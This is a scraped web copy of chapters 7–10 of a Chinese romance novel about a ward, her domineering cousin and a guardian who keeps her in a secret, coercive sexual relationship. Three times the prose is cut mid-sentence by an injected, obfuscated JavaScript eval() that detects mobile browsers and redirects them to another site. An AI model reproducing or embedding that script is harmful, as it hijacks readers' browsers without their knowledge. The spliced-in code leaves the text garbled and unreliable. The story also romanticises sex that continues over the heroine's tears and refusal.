《越轨沉沦》
7. 第7章
谢沅站在岛台边,脚步顿了顿。
她低下眼帘,掌心微微沁汗,细声说道:“宴白哥,这不合适……叔叔已经说婚约暂时解除了。”
沈宴白指尖掐烟,冷淡地看向她:“事情发生后你和秦承月见过面了吗?你知道他心里怎么想的吗?”
他的言辞直接,视线也带着点不耐。
即便知道沈宴白向来不喜欢自己,谢沅的胸腔中还是像骤然被浸入了水。
她低着眼眸,摇了摇头:“……我没有。”
沈宴白的视线几乎要穿透谢沅,他抬声问道:“那这半年来,你们私下里又见过几回面?”
他不是要问她话的意思。
谢沅沉默了片刻,樱唇也抿了起来。
良久,她低低地说道:“见过一次。”
沈宴白冷笑了一声:“一次?”
“谢沅,我不知道你们之间发生了什么,”他的视线冷淡,“但你觉得作为秦家未来的少夫人,你这个态度合适吗?”
“承月他现在忙,”他将烟掐灭,“你难道还要等着他上赶着来追你吗?”
谢沅的唇紧抿着,她的眉眼垂得很低。
沈宴白站了起来。
他个子高,离得近的时候阴影无声落下来。
“关系是需要维系的,尤其是你这样的身份,”沈宴白低眼看向谢沅,“没了沈家给你撑腰,你什么也不是,明白吗?”
他一字一句地说道:“当初叔叔接你回来,锦衣玉食地养你,为的就是这个。”
谢沅的眸光摇晃了一下。
她的眼眶微红,像是有水雾要凝成珠玉落下来。
“你可以不在乎我们,”沈宴白声音渐渐低了,“但你得对得起他。”
“你再好好想想。”他神色淡漠,最后说道。
说完沈宴白就起身离开。
外面淅淅沥沥的小雨依然在下,但相比先前的明朗,现在的天要昏暗许多,外间的花棚也没由来地泛起灰败。
已经小了的雨,再度有下大的趋势。
-
沈宴白难得回来一次,虽不是正式回国,但身边的人还是为他摆了宴席。
人不多,却无一不出身尊贵。
茶室内并不喧嚷,格调很足,香烟袅袅地燃着,茶水高高地扬起,再低低地落下,宛若行云流水。
既雅致雍容,又带着点纸醉金迷的意味。
女侍者笑容婉约,轻轻地将点好的茶奉给众人。
这种时候,主位的判断很关键。
沈宴白桀骜不驯,最不喜这些虚头巴脑的东西,他坐在角落,指间还掐着烟,颇有几分浪子的气度。
即便如此,女侍者还是精准地将第一盏茶奉给了他。
霍阳在边上笑,唇角扬起:“你们这上茶的顺序是按颜值吗?”
他说话不着调,但无论男女老少、三教九流,都能聊个畅快。
女侍者的脸颊微红,含羞带怯地说道:“您这说的什么话……”
沈宴白端着茶杯,他心情不佳,浅抿了一口,就放下了杯盏,懒散地倚着:“行了,就霍少会说话。”
他气场足,随便的一句闲语也能叫人胆寒。
女侍者早就耳闻沈大公子的大名,却也是第一次见他,登时吓得差点将杯盏洒落。
霍阳听出沈宴白心情不好,也没再和那女侍者开玩笑。
“行,我不说了。”他笑着说道,“不过我就是好奇,谁能惹了咱们沈少不快啊?”
这接风宴是给沈宴白设的,但他一来兴致就不高。
在场的都是人精,倒也不会让场子冷下来,可他心情不好,却也实在明显。
沈宴白搅了搅炉里的香,将那规整的香堆弄乱。
他掀起眼皮,低声说道:“霍少七窍玲珑心,还能猜不出来我的心思?”
霍阳心思的确活络。
昨天晚上他就知道沈宴白回来了,他马上就要毕业,这个档口他回来只能是为一个人,只能是为一件事。
但霍阳没有挑明。
他拨了拨骰子,弯起唇角:“不会是为了女友吧?”
“前几天小庭他们设了赌局,押你这回能不能跟人处上两周,”霍阳唇边含着笑意,“我可砸了一辆跑车呢,你不会是真上心了吧?”
沈宴白叼着烟,一边起牌,一边踢了他下:“滚你的。”
“一天天的,净知道消遣我了,”他笑了出来,“除了那个没良心的,我现在还能为谁烦心?”
沈宴白蹙起的眉心渐渐舒展。
“今天我问她,这半年跟秦承月见了几回面,”他的眼底暗光微动,“你知道人怎么跟我说的吗?一回!不知道的还以为是秦承月要入赘我们家呢。”
霍阳没有跟着一起玩牌,他坐在沈宴白的旁边,也懒散地往后倚靠。
他银灰色的短发闪着光,被沈宴白的话逗得直乐:“哥你怎么这么说小谢妹妹呢?”
霍阳这句哥喊得很顺口。
沈宴白咬着烟,继续起牌:“早知道我去年不走那么早了,就该看着她把婚订了再说。”
谢沅冬天生日,他那时的女友很粘人,走得早,错过了。
原本板上钉钉的婚事,不知怎么回事就一直拖到了现在,如今更是要取消了。
这叫他怎么不来气?
霍阳神情微动,循循善诱地说道:“也不能这样想。”
“小谢妹妹不喜欢秦承月,他跟温思瑜又闹成那样,”他看向沈宴白,继续说道,“你硬让她嫁过去,要是做了怨偶哪成啊?”
有人过来,指了指门口,想要插话。
霍阳摇了摇头,用目光示意他先安静。
“你也不明白吗?”沈宴白的眉心蹙起,“沈家养她,硬把她从林家接过来,就是为了让她嫁给秦承月的。”
他将牌打出去,利落地赢了。
沈宴白冷淡地说道:“我但凡有一个亲妹妹,这种好事都轮不上她。”
“不过是在沈家养了几年,还真以为自己是大小姐了不成?”他将牌桌推开,“我叔叔就是太惯着她了,才把人养成这样。”
旁人一直想插话的人急得满头大汗。
眼见一局牌打完,他颤声说道:“沈、沈哥。”
沈宴白向后倚着,淡漠地抬起了眼,然后和门边站着的谢沅对上了视线。
她穿着白裙,裙摆沾湿了少许。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368969|140942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟这个年龄的女孩不一样,谢沅安静沉默,连常穿的裙子都是最寻常的白裙,丝毫不显张扬。
她的眉眼也是那样,仿佛永远都不会起波澜,令人觉得沉闷乏味。
很多人都说秦承月幸运,平白得了一身荣宠,沈宴白却一直觉得,谢沅才是最幸运的那个人。
她什么也没有,什么也不配,却得到了最好的一切。
就这,她仍是不知道珍惜。
沈宴白确实不喜欢谢沅,但和她对上视线后,他还是轻抿了抿唇。
-
一路上都很安静。
沈宴白开的车,谢沅坐在副驾。
她不爱说话,平时也很少看手机,眼眸望着车窗外,不知道是在走神,还是在看什么。
燕城不是多雨的地方,至少比起滨城、宁城那样的地方,雨水要少很多。
天气预报说这场雨是暴雨,从昨天下到今天,的确一直没停。
霍阳喜欢玩车,对f1如数家珍,偶尔还玩点极限。
沈宴白就没这个爱好,他开车也是,不疾不徐,跟平时张扬桀骜的性子逆着来。
所以他从来没出过车祸。
车载音乐是舒缓的钢琴曲,外面有雨声,也算相合。
等红灯的时候,沈宴白看了谢沅一眼,轻声开了口:“哥哥没骗你吧?”
“秦承月不糊涂,人也是不错的,”他缓声说道,“你跟他多处一段就明白了。”
谢沅侧眸看他,声音柔细:“我知道的,哥哥。”
说完她又低下了头。
还是那副逆来顺受的样子。
但事情解决得还算顺利,刚才跟秦承月的那顿饭吃得也算舒心,沈宴白的心情好了起来,看谢沅也顺眼许多。
“不过你也别妄自菲薄,”他笑了一下,“你是我们家养出来的,又是燕大的高材生,当得起秦家少夫人的门面。”
沈宴白像兄长般说道:“等毕业嫁过去,早点生几个孩子,慢慢就站稳脚跟了。”
“哥哥让你嫁秦家也是为你好,”他轻叹了一声,“燕城这些人家,都瞧着体面,但哪一家不是血雨腥风。”
他慢声说道:“就你的性子,你觉得你能应付得来吗?”
沈宴白很少这么多话。
说完以后他看向谢沅,红灯很长,将她的白裙都映照得泛红,但她的脸色却是那样苍白。
苍白得仿佛一丝血色也没有。
谢沅声音颤抖:“我知道了,谢谢您。”
她的眸光也在颤抖,就好像下一刻便会哭出来似的。
沈宴白愣了一瞬,喉间忽然有些滞塞。
但下一刻谢沅的手机屏幕亮了起来,他低头看见【沈长凛】三个字,到底没再多说什么,只低低说了一句“先接电话”。
沈长凛的声音很轻,像风一样。
“没看消息吗?”他的话音从听筒中传了出来,“什么时候回来?”
钢琴曲刚好一曲终了,车里很安静。
或许是因为有些失真,沈宴白总觉得沈长凛的声音,似乎温柔得过分了。
那语气不像是叔侄对话。
反倒像是在哄禁脔。
8. 第8章
谢沅握住手机的掌心发凉。
“马上就回来,叔叔,”她低着眸子,“我和哥哥出来了,再有半小时左右就到家。”
谢沅的声音低低的,带着点鼻音。
但就是这么细弱的鼻音,也被沈长凛听出来了。
他“嗯”了一声,然后轻声问道:“外面冷,穿外套了吗?”
谢沅没穿。
她出来找沈宴白的时候是下午,没有想到会弄到这个点还没回去。
看谢沅那为难的样子,沈宴白皱了下眉头。
他将之前放在车里的外衣拿给她,并顺手将电话接了过来,说道:“您别担心,我们马上就回去,而且我带外衣了,叔叔。”
谢沅和沈宴白关系寻常,但到底也是在同一屋檐下生活过经久。
说是情同兄妹也不为过。
沈长凛轻轻笑了一下,说道:“好,那麻烦你了。”
他那边挂断电话后,沈宴白才将手机又还给谢沅。
她抱着他的外衣,神色无措,眼眶微红,仍有几分愣怔。
适时漫长的红灯终于结束,沈宴白看了谢沅一眼,轻声说道:“把衣服穿好,别着凉了,下回冷要记着说。”
车载音乐也又响了起来。
钢琴曲悠扬,每一下都敲击着谢沅的心房。
她将外衣穿好,低低地说道:“谢谢哥哥。”
谢沅话少,又很容易被问住,沈宴白没了再说她的念头,于是两人一路无话,车安静地开了半个小时。
外面还在下雨,沈宴白没让人来接。
他从车里拿了伞,然后给谢沅撑开,低眼的时候刚巧瞧见她细白的小腿,掠了一瞬便没再多看。
沈宴白个子高,外套也长,对谢沅来说跟风衣快差不多了。
衣摆垂落在大腿跟,轻轻地晃着。
下车后谢沅就想把衣服还给沈宴白,他看了她一眼,低声说道:“先穿着,风这么大,你是想发烧还是想感冒?”
她抿了抿唇,细声说道:“好,哥哥。”
沈宴白没再看谢沅,撑伞带她走上台阶。
但刚一进门,管家便说道:“先生临时有些事,少爷小姐若是有话要说,恐怕要稍等片刻。”
沈宴白点了点头,轻声说“好”,接着便上了楼。
谢沅身上还穿着他的外衣,抬手想要叫住他,但沈宴白很快就消失在了她的视线中。
-
外面的雨势一般,风却不小。
回到房中后,看着那微微濡湿的衣摆,谢沅又抿了抿唇,这样直接还给哥哥不好吧?
她只大一的时候短暂住了一段校,自理能力很差,但这个点再去麻烦阿姨也不太好。
谢沅犹豫许久,还是给沈宴白发了个消息。
【哥哥,你的衣服被雨打湿了一点,我洗过以后再还给你,可以吗?】
她跟沈宴白的消息记录寥寥无几,上一回还是许久之前。
他可能有事,也可能去沐浴了,十多分钟都没有回复。
谢沅对着说明书,第一次打开洗衣机,她不太会做事情,还总是会把事情弄得一团糟。
但看着洗衣机转起来的时候,原本失落的心情还是好了许多。
她垂眸坐在地毯上,看着洗衣机来回地转动,就那样发了很久的呆。
沈长凛过来的时候看到的就是这样一幅景象。
他低笑一声,神色温柔:“怎么想到用这个了?”
谢沅坐在地上,捧着下颌,忽然听到沈长凛的声音,差些要倾倒,好在他伸手将她从地上抱了起来。
今天才跟秦承月见过面。
背德的禁忌感恍然再度复苏。
她面对沈长凛时,那种惯有的紧张感也又袭了上来。
哪怕谢沅知道,这会儿他的心情还算不错。
“外面下雨了,”她捏着衣角说道,“我不小心把哥哥的衣服弄湿了。”
沈长凛抱着谢沅回了卧室。
他轻声说道:“他身边的那些人,你少接触。”
沈宴白应当还没有去见沈长凛,把他们今天一起去见秦承月的事告诉他。
所以沈长凛大概只以为谢沅随着沈宴白出去了。
他不会太限制她的交往,到底是在这个圈子里,该有的社交也不能少。
谢沅穿着宽松的睡裙,腰间的系带也松松的,只用轻轻一勾就会滑落。
她刚刚洗过澡,身上还带着水汽和花香。
雪肤白皙,细腰上红痕隐约,一直蔓延到腿/心深处都没有停止。
谢沅懵懂天真,有些事情却又很明白。
沈长凛眸色微暗,轻揉了揉她的耳垂。
谢沅身上敏/感处无数,她细微地挣扎了下,手臂便无力地垂落。
但在沈长凛掐住她的腰,将她抱上床的时候,谢沅将手搭在了他的腕骨上,她的眼眸微湿,带着些挣扎。
“叔叔,今天能不能不……?”她艰难地说道,“我有点累。”
凝霜般的肌肤在掌心绽开,丝绸般的乌发在颈侧拨弄。
沈长凛按着谢沅的腰,神情不明,只轻轻地抚着那片柔腻的雪肤。
上面还有掐痕,是他昨夜弄上去的。
谢沅将哭声咬进了唇齿间,竭力隐忍,沈长凛其实听见了,但是他没停。
他抚了抚谢沅震颤的腰侧,声音微哑:“可是你已经……了。”
沈长凛看似温柔矜贵,实则控制欲极强,而且不容忤逆。
谢沅每次想到要拒绝他,都要反复在心里做好准备,腹稿打个许多遍才敢开口,但她没有想到,沈长凛会说这样的话。
那个词倒也不是多脏,多禁忌,却就是在瞬时就挑起了谢沅的心弦。
她的脸庞泛起潮红,眼尾也湿红起来。
浅粉色的樱唇轻轻张合,却什么话也没能说出来。
沈长凛吻了下谢沅的眉心,声音柔和:“听话,把……分开,今天不会累着你的。”
她现在的这张床很大也很柔软,躺在上面的时候,会有一种深陷在水中的错觉。
谢沅觉得她很像小舟。
被暴雨推着、拥着,黑暗将她吞噬进深处,狂风又将她给簇至高处。
就在理智快要丧失沦陷的时候,谢沅的手机突然响了起来,沈长凛先她看见了亮起的屏幕。
【沈宴白】三个字很显眼,那几条未读的消息也很显眼。
沈长凛起身,轻声说道:“要接吗?”
他的薄唇微湿,卧室里的大灯全都关了,只留下了床头的两盏小灯,可即便如此,那一抹水光还是那般的明显。
谢沅羞得欲死。
她低喘着气,哑声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368970|140942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说道:“不接。”
谢沅难得说话这样硬气,她不顾颤抖的腿根,撑着手臂坐起,想将手机拿过来。
沈长凛并不会总逼她,温柔顺从地将手机递了过去。
但谢沅接过来,想要将屏幕按灭的时候,却不小心碰到了接听键。
沈宴白声音响起时,她的心几乎是死的。
他匆匆地说道:“谢沅,我的衣服你还没洗吧?”
沈长凛的指骨屈着,谢沅这会儿推开他也不是,拉近他也不是,身躯僵直得一动也不敢动。
她费尽了全身的力气,将掌心都掐得快出血,才勉强稳了声线。
谢沅细声说道:“不好意思,哥哥,我已经拿去洗了。”
她的声音微颤,带着点哭腔。
好像还在浴室洗澡,有些许水声传来。
谢沅胆子很小,话又都藏在心里,就是受了委屈,大抵也只敢在沐浴时偷偷地哭。
到底是寄人篱下,年纪又小,才只二十出头,还是个孩子。
沈宴白沉默了片刻,低声说道:“没事,洗了就洗了吧,烘干以后我去拿。”
挂电话的时候,谢沅浑身脱力般地向后倾倒。
她的眼尾湿红,眼泪顺着脸庞往下滑落,长睫都被濡湿,滴滴晶莹分外可怜。
“叔、叔叔……”谢沅的挣扎依旧细弱,可沈长凛按住她颤抖的腰身,眸色晦暗,渐渐没了方才的柔情。
他封住了她的唇,将她的哭声也吞没了。
-
翌日,谢沅没起得来床。
她下楼的时候,已经是十点多,就那眼眶还肿着,眼下也覆着一层青影。
沈宴白在跟人通电话,抬头看了一眼谢沅,眉心微微拧起。
她很没精打采,早餐是中式的,还是她喜欢的,照样只吃了两口就放下了,端着杯子浅抿了点果汁,就想要起身离开了。
精神头不好,眉眼都带着倦怠。
沈宴白出国后很少回来,就是回来也不在家里常待。
他挂了电话,叫住谢沅:“昨天晚上几点睡的?怎么这么没精打采?”
沈宴白对她没什么关怀照念,还是因为秦承月的事,方才多问了一句。
但他没想到,谢沅的嗓音也哑哑的。
“我没事,哥哥。”她低着头说道,“就是昨晚做噩梦,没有睡好。”
沈宴白确实不知道她是几点睡的,他等着她给他发消息拿衣服,零点的时候问她,她也没回复。
第二天的时候,是阿姨将衣袋送过来的。
那衣服不经洗,谢沅不懂,一过水就全都毁了。
沈宴白不在乎一件衣服,哪怕它昂贵至极,对他来说也只是穿的而已。
只是因为是特定的人曾经送的,才多了几分感情。
但听着阿姨兴高采烈地说“这是小姐第一次用洗衣机”时,沈宴白忽然不想再说什么了。
他别过脸,轻飘飘地说了一句:“以后早点睡。”
谢沅点了点头,很乖地应道:“我知道,哥哥。”
她的声音很无力,沙哑细弱,像是被人给弄坏了似的。
沈宴白的眉心一跳,为自己这个荒诞的猜想摇了摇头。
但下一瞬谢沅忽然倒了下来,沈宴白一把接住她,饶是他见多了大场面,也不由地一慌:“谢沅!”
9. 第9章
谢沅的体态纤细,轻得像是一片羽毛。
沈宴白没费什么力气就接住了她,除了高中那回秋游,谢沅在登山时跌伤了腿,他将她给带回来以外,他们几乎从未有过亲密接触。
他的手臂微僵,但接下来他的注意力就全被她滚烫的体温给夺走了。
谢沅发烧了。
她的额头和脸颊滚烫,就连胳膊都是灼热的。
管家和阿姨匆匆地过来,沈宴白皱着眉头,当即就给私人医生打了电话。
谢沅平躺在床上,冰凉的听诊器骤然掠过胸口的时候,她才从迷乱中苏醒过来。
眼前仍旧在不断地发黑,头晕目眩的感觉很不好受。
阿姨将盛着葡萄糖水的杯子喂到谢沅唇边,小心地说道:“小姐,先喝点水吧。”
她的樱唇是漂亮的浅粉色,带着点不易察觉的红肿。
不知道是吃东西烫着了,还是怎么回事。
沈宴白看了一眼,心底蓦地生出些烦躁。
谢沅的身上没力气,连水也喝不下去,浅浅地抿了一点,阿姨哄着,然后又抿了一点。
沈宴白皱眉看了半晌,最终将那杯子接过来,扶着谢沅把水给她喂了下去。
她有低血糖,家里常备着葡萄糖。
谢沅不太喜欢被灌药、灌水,但沈宴白的喂法很熟稔,她还没有感觉到不舒服,就把水都喝下去了。
喝过水后,她又阖上了眼眸。
吐息渐渐平复,虽然额头依旧滚烫,但也没刚才那么难受了。
夏天冷气开得足,比春天流感多发的时候还容易发热,私人医生经常为谢沅看诊,轻声和沈宴白说了缘由。
“没什么大碍,先生。”私人医生说道,“小姐就是有点烧。”
沈宴白“嗯”了一声,然后看着他将药开出来。
服过药后,谢沅更没力气了。
她哑着嗓子,声音柔软细弱:“我想再睡一会儿。”
厚重的窗帘垂落,将外间的光线遮住,谢沅的脸庞被衬得更加苍白。
沈宴白点了点头,说道:“好,你睡吧,有事给我发消息或者打内线电话。”
等谢沅阖上眼眸后,他便带着众人离开。
桌案上还有药品的清单,沈宴白下楼,将那清单拿了过来。
说真的,如果不是这位私人医生已经为沈家服务多年,沈宴白都很想当面问问,为什么谢沅发烧,他会开出来要外用的药膏?
-
谢沅对这一切浑然不知。
她一觉睡到了下午三点,方才再度苏醒。
眩晕感弱了很多,额头也没那么烫了,但身上还是没力气。
谢沅侧躺在柔软的大床上,乌黑的长发披散着。
其他的感觉都很虚幻,唯有嗓子里的干涩和疼痛无比真实。
她抬手去拿床边小桌上的杯子,白皙的指尖勾了又勾,还是没有拿到。
当谢沅手臂垂落想放弃时,一双骨节分明的手帮她执起了透明的玻璃杯。
她这时候才发觉沈长凛也在。
他将她扶抱起来,然后轻轻喂她喝水。
谢沅半坐在沈长凛的腿上,小手抵在他的肩头,慢慢地把水喝完。
在遇见她之前,矜贵如他从来没有侍候过人,可现在他已经能把她照顾得很好了。
谢沅很久没有发过烧,尤其是出于这样的缘由。
她喝完水后,沈长凛把玻璃杯放回到了桌案上,他摸了摸她的额头,低声问道:“饿不饿?”
谢沅的身躯微颤了一下。
“不饿,叔叔。”她的眼眸垂得很低,长睫洒下一层阴影,带着点微弱的挣扎。
沈长凛愣了片刻,才意识到谢沅想错了,他的呼吸顿了顿,轻声说道:“昨晚的事,抱歉。”
他寡欲淡漠,从不会过分索取。
但这两日却一反常态,简直是想要将她……在床上,昨夜更是难得食言,答应不会叫她累着后还那样。
谢沅脸皮薄,哪怕是情动时,也经不得语言挑拨,何况是在现下谈论这些。
她声音微哑:“我没事,叔叔。”
“我……就是没有睡好,”谢沅细声说道,“现在吃过药,已经好很多了。”
沈长凛抚了抚她的脸庞,轻声说道:“你没事就好。”
谢沅抿着唇,她轻动了一下腿,想要从他身上下去。
当腿根细微的黏腻感传来时,谢沅的眸子蓦地睁大,她本就潮红的脸庞更加滚烫。
她磕绊地问道:“……您给我上药了吗?”
谢沅的声音细细的,低低的,神情也一下子慌乱起来。
沈长凛点了点头,轻声应道:“嗯。”
“抱歉,下次不会这样了。”他低声说道,“能原谅叔叔一回吗?”
下次。沈长凛说下次。
谢沅刚刚放松下来,那被背德的禁忌感所灼烧的疼痛又上来了。
可能是因为烧昏头了,她忽然有点难受,很想把昨天见过秦承月的事告诉他。
谢沅张了张唇,话已经到了舌尖,却因为突然被叩响的房门而没有说出来。
青年的声音清越:“谢沅,你醒了吗?”
是沈宴白。
谢沅神经紧绷,下意识地就想让沈长凛避一避,她抬眸看向他,容色焦急慌张。
沈长凛看了她一眼,轻声说道:“别怕,他知道了也无妨。”
谢沅摇着头,咬住唇从他身上下来,钻回到了薄被之中,用含着水的眼眸望向他,满眼都是哀求。
她像是快要哭了,哑声说道:“别……叔叔,求您了。”
沈长凛轻笑一声,低声说好。
沈宴白敲了片刻的门,也没等到谢沅的答复。
原以为她还在睡,没想到过了一会儿门突然开了,但开门的却不是谢沅,而是他叔叔沈长凛。
和沈长凛对上视线的刹那,沈宴白的脑中闪过一片空白。
昨夜在车里的那声温柔问候,忽然又响了起来。
但沈长凛的神色如常,只轻声说道:“沅沅烧还没退,又睡下了,有事的话,晚点再跟她说吧。”
他说这话时,语气里尽是对晚辈的关怀,没有半分旖旎情绪。
沈宴白心底刚生起的怀疑,瞬时又被浇灭了。
他在想什么呢?
这整个燕城都没有几个比他叔叔更禁欲淡漠的人了,更何况沈长凛向来是将谢沅当亲侄女在疼。
就是沈家和秦家的晚辈加起来,都没有她一人受的疼爱多。
真是蹊跷,明明没有任何血缘,连
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368971|140942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦家的那一位也是更偏疼谢沅。
“我没什么事,叔叔,”沈宴白低声说道,“我就是来看看谢沅好点了没有。”
沈长凛看了他一眼,声音轻柔若风:“你近来很关心她?”
他生得俊美,侧颜尤其的矜贵。
媒体偶尔会言说沈家大少爷沈宴白的英俊,他出身尊贵,生来就是众星拱月的世家公子,很受追捧,私人的ins账号都粉丝无数。
但事实是,这些在沈长凛面前全都不够格。
无论出身,还是容色,哪怕是气度,都全然无法相比。
只不过沈长凛的位子太高了,没有人敢去言说罢了。
沈宴白有段时间没见沈长凛,就回来时跟他吵了一架。
此刻忽然被沈长凛这样看过来,沈宴白先是愣怔了一下,他摇了摇头,错开叔叔的视线,低声说道:“我只是担心她的婚事,叔叔。”
“那有什么好担心的?”沈长凛漫不经心地说道,“她不想嫁给秦承月,那就不嫁。”
长廊里铺着地毯,走路也是无声的。
沈宴白的脚步顿住,他偏过头说道:“谢沅没跟您说吗?她同意联姻了。”
“我们昨天跟秦承月见了一面,”他继续说道,“我本来晚上就想告诉您这件事的。”
沈宴白在女人堆里待得久,深谙风月,也深谙婚嫁。
他低声说道:“秦承月不是糊涂人,叔叔,而且这件事后,他心中有愧,只会对谢沅更好、更敬着。”
沈宴白原以为沈长凛会转念,赞同他的想法。
却不想沈长凛的容色似是更冷了。
但他的情绪变化转瞬即逝,就仿佛刚才的冷意是沈宴白的错觉。
沈长凛轻声说道:“你有心了。”
他的唇边含着淡笑,语调温柔,气质里矜雅的一面无声显露,直令人感到如沐春风。
-
谢沅睡不着。
她的烧退了大半,心里的情绪却更紊乱了。
谢沅拨弄着手机屏幕,胡乱地翻看着,正划着划着,同学忽然给她发了消息。
【谢沅,你今天有空吗?咱们上回那个比赛不是该汇报了吗?冯茜家里有事来不了,你能来顶替一下吗?这个项目就你最熟悉。】
下面是一长串大哭的表情包。
谢沅是学哲学的,平时就是看看书,写写论文。
不像别的专业,总要奔波于各项竞赛。
她陪着朋友参加过一回,因为哲学系最好立项,后来便被他们拉着一直在做。
谢沅生活乏味,并不排斥这些。
她从床上坐起来,回复道:【好的,我大概四点能到。】
谢沅换完衣服便出了门,司机有点犹豫,一听是学校的事也不敢再耽搁。
她性子软,人也好说话,就对学业上的事颇为执着。
高中时就名列前茅,读了大学后更是常年专业第一,总照顾她的阿姨逢人就要吹嘘,雇主家的小姐是燕大高材生。
世家子弟多纨绔,可也有谢沅这样的。
所以当沈长凛下楼的时候,谢沅已经跑得远远的了。
男人的容色看似平静,实则尽是山雨欲来的暗怒,他低声说道:“以后她生病时,无论什么缘由,都不许离开家门半步。”
10. 第10章
谢沅在路上的时候,冯茜就把文档和资料全都发过来了,借着就是一连串感谢的表情。
她垂着眼眸,拨弄着平板。
谢沅翻看着文稿,下车后就匆匆走向比赛的大礼堂。
几个队友都已经等在那里了,万幸他们的顺序靠后,还要些时候才轮得到。
她换了西装外套和衬衫,半长的短裙勾勒出笔直的腿型,纤腰也被衬得愈加窈窕。
谢沅的长发束了起来,但脸色仍有些苍白,颊侧泛着不自然的潮红。
余温坐得离她近,一眼就看出谢沅生病了。
她讶异地说道:“你是不是发烧了,沅沅?”
谢沅低眸看着文稿,摇了摇头:“早上时有点难受,现在已经好了。”
余温长舒了一口气,这才放下心来。
时间如同沙漏里的沙子,无声地流动下落。
等到谢沅彻底准备好的时候,只余下十多分钟就要上台。
她看了眼手机屏幕,有几个未读消息。
谢沅没有多想,准备等回来再看。
真正走上台后原本怦然的心跳,反倒渐渐地平复下来。
评委席人很多,但目光和中央的一人对上视线时,谢沅的心跳还是骤然漏了半拍。
演示的文档没有改,上面标注的还是冯茜的名字,而她今天又化了淡妆。
所以那人的神情掠过一抹淡淡的惊艳后,也没有别的异色。
他身居高位,侧耳听身边人奉承,脸上挂着从容自然的笑容。
谢沅的掌心沁出冷汗,面色也有些发白。
主持人看过来,悄悄地示意了她一下,谢沅抿了抿唇,紧掐住指节,轻声开了口:“各位评委老师同学,晚上好。”
十分钟的汇报时间不长不短。
或许是因为内容的确很好,到点评环节的时候,评委都是带着笑容问的。
谢沅轻声将一个个问题回答完毕。
中央的那人把玩着钢笔,到最后才点评,他神色自然,语调平和:“你们的这个想法很好,只不过要想落实可能有些难。”
谢沅的身躯顿了顿。
但片刻后,那人话锋一转,说道:“不过如果是我的话,我是愿意给你们一个机会的。”
他的眼神含着笑,带着点对晚辈的调侃和关怀。
在座的评委无一不是商业巨鳄、著名资本,即便如此,他神态的自然从容也是那样的突兀。
一个人得是非常成功,非常自负,才会有那样的游刃有余。
谢沅握紧话筒,向他鞠了一躬:“谢谢您的点评。”
或许是因为聚光灯太过刺眼,她的头又开始有些晕眩。
-
走下高台之后,谢沅轻揉了揉额侧的穴位。
余温一把将她给抱住,兴高采烈地说道:“沅沅,你刚才说得可太好了!就是冯茜过来,估计也没法说得这么好,咱们这回肯定能拿第一。”
谢沅正要说什么,桌上的手机又震动了起来。
是沈长凛打来的。
屏幕上同时亮起的是许多条未读消息,其中最显眼的一条还是他发来的。
【接电话。】
冰冷冷的三个字,即便是隔着屏幕,谢沅也能感知到沈长凛的怒意。
她什么也顾不得了,和余温说了声抱歉,就匆匆地走出大礼堂接了电话。
天色已经完全黑了。
谢沅站在廊道上,几乎是颤抖着手点的接听:“叔、叔叔。”
冷风拂过她的面庞,将她额前汗湿的发丝也吹得凌乱。
谢沅声音微颤:“我们今天有个比赛,我刚刚在做汇报,才没有回您消息的。”
沈长凛那边沉默了片刻。
她还以为是信号出了问题,走到窗边又说道:“叔叔,您听得见吗?”
须臾,谢沅听见沈长凛轻笑了一声,他淡漠地说道:“听得见。”
他虽然笑了,但谢沅心里更没底了。
近乎本能的恐惧和害怕在不断攀升,她的后背都要被冷汗浸湿。
“叔叔,我不是故意的……”谢沅的声音细弱,“今天原本是另一个同学汇报的,但是她家里出事了,我才临时顶上的。”
她站在栏杆边,夜风掠过她的脖颈,将她束起的长发吹起。
沈长凛这两年好说话了很多,但谢沅还是怕他,平时更不敢多忤逆他。
他慢声说道:“没事,你的学业要紧。”
谢沅刚刚松了一口气,沈长凛又轻声说道:“别的事我们回来再说吧。”
他的语调平和,但谢沅的心一下子就提了起来。
沈长凛肯定知道她和秦承月的事了。
他要是明显地动怒,她还没有那样怕。
谢沅最畏惧的就是沈长凛风雨欲来前的温柔与平静,她不是那么聪明的女孩,跟在他身边多时,还是会总在不经意间惹他生气。
更别提这一次,她一直背着他做事。
不管出于什么缘由,这都是明晃晃的忤逆。
谢沅强作镇定,低声应道:“好,叔叔。”
挂了电话后,她在外面发了很久的呆,才慢慢地走回大礼堂。
谢沅抚了抚额头,这时候由衷地庆幸今天发了烧。
她的病还没好全,沈长凛就是再生气,应该也不会立刻处置她。
而且这回的事也不能全怪她,沈宴白那样执着,不看着她和秦承月订婚,估计连毕业典礼都不会回去。
